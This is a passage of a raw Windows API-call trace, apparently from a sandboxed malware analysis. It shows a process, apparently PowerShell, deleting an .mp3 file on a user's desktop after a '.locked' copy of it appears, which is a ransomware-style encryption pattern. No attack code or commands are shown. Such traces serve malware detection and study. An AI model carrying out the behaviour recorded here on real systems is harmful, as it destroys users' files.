(lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.599] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.599] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.599] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0128.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3\\", lpFilePart=0x0) returned 0x31 [0128.600] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.600] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.600] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.600] CoTaskMemFree (pv=0x8ebb8c8) [0128.601] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0128.601] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.602] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6acf3b0 | out: lpFileInformation=0x6acf3b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8433670, ftCreationTime.dwHighDateTime=0x1d4ad1a, ftLastAccessTime.dwLowDateTime=0xe01f4da0, ftLastAccessTime.dwHighDateTime=0x1d4a951, ftLastWriteTime.dwLowDateTime=0xe01f4da0, ftLastWriteTime.dwHighDateTime=0x1d4a951, nFileSizeHigh=0x0, nFileSizeLow=0x45a0)) returned 1 [0128.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.602] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 1 [0128.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.604] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="ऀࣣ") returned 0x0 [0128.604] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.604] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.604] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3.locked")) returned 0x20 [0128.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3.locked")) returned 0x20 [0128.605] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", lpFilePart=0x0) returned 0x37 [0128.605] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", lpFilePart=0x0) returned 0x37 [0128.605] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.606] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.606] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.606] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.606] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.608] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.609] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.609] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.609] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.609] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.611] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.611] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.612] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.612] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.612] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.614] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.614] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.614] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.614] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.615] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.616] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.617] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.617] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.617] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.620] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x68f2e5c | out: lpFileInformation=0x68f2e5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf8161, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xfdf8161, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xfdf8161, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x45c4)) returned 1 [0128.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.624] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", lpFilePart=0x0) returned 0x37 [0128.624] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0128.624] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.624] CloseHandle (hObject=0x874) returned 1 [0128.626] GetConsoleOutputCP () returned 0x1b5 [0128.630] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.631] GetConsoleOutputCP () returned 0x1b5 [0128.631] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.631] GetConsoleOutputCP () returned 0x1b5 [0128.631] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.631] GetConsoleOutputCP () returned 0x1b5 [0128.632] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.632] GetConsoleOutputCP () returned 0x1b5 [0128.632] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.632] GetConsoleOutputCP () returned 0x1b5 [0128.632] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.632] GetConsoleOutputCP () returned 0x1b5 [0128.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.633] GetConsoleOutputCP () returned 0x1b5 [0128.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.633] GetConsoleOutputCP () returned 0x1b5 [0128.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.633] GetConsoleOutputCP () returned 0x1b5 [0128.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.634] GetConsoleOutputCP () returned 0x1b5 [0128.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.634] GetConsoleOutputCP () returned 0x1b5 [0128.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.634] GetConsoleOutputCP () returned 0x1b5 [0128.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.635] GetConsoleOutputCP () returned 0x1b5 [0128.635] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.635] GetConsoleOutputCP () returned 0x1b5 [0128.636] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.636] GetConsoleOutputCP () returned 0x1b5 [0128.636] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.636] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.636] GetConsoleOutputCP () returned 0x1b5 [0128.637] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.637] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.637] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6905248*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6905248*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.637] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.638] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.642] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 